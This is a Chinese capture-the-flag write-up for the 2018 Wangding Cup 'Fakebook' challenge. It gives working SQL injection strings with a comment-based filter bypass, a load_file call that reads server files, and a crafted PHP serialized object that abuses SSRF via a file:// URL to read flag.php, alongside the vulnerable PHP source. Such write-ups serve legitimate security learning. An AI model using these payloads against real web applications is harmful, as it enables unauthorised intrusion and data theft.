2018网鼎杯Fakebook wp

有两个功能,join和login,通过join注册账号登录,发现在view.php中存在注入点

第二列有回显,进行注入,发现使用union select时显示了hack,但单独使用unionselect正常显示,尝试注释符绕过:

?no=0 union/**/select 1,(select data from users),2,3

通过注入得到了数据库中的信息,但发现只有自己的信息;并且在注入时还发现了序列化内容以及报错信息:

那么猜测这道题不只是单单的注入;尝试进行文件读写,发现虽然不能够写入文件,但是可以进行读取:

?no=0 union/**/select 1,(load_file('/var/www/html/index.php')),2,3

通过读取文件,得到以下文件信息:

index.php
join.ok.php  //注册
view.php //存在注入点
user.php
db.php
flag.php

那么直接读取flag.php就好了。。。

通过读取源码,发现题目预期解是通过注入、反序列化和SSRF来完成的

首先在user.php中定义了一个UserInfo类,里面定义了curl请求的方法:

当调用getBlogContents方法时,便会进行SSRF请求;在注册时,会进行一次blog格式检测:

在view.php中发现其调用了getBlogContents()方法并会输出请求内容,并且没有对blog进行过滤

需要找到其反序列化的对象$res[‘data’],找到db.php中getUserByNo方法:

1
2
3
4
5
6
7
8
9
10
11
12
public function getUserByNo($no) {
global $mysqli;

// $no = addslashes($no);
$query = "select * from users where no = {$no}";
$res = $mysqli->query($query);
if (!$res) {
echo "<p>[*] query error! ({$mysqli->error})</p>";
}

return $res->fetch_assoc();
}

那么$res为查询数据库得到的一个关联数组;发现注册功能的代码:

1
2
3
4
5
6
7
8
9
10
11
12
function insertUser($username, $passwd, $data) {
global $mysqli;

$username = substr($username, 0, 100);
$username = addslashes($username);
$passwd = sha512($passwd);
$data = serialize($data);
$data = addslashes($data);

$query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')";
return $mysqli->real_query($query);
}

看到$data为insertUser的第三个元素;在join.ok.php中找到调用insertUser的部分:

至此思路很清晰了,由于在insertUser时会进行blog格式检测,但在view.php中不会检测并且存在注入点和getBlogContents()方法,那么构造poc:

将得到的序列化字符串放到注入的第四个位置(列名为:no username passwd data):

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"gtfly";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

在网页源代码找到base编码的字符串,解码得到flag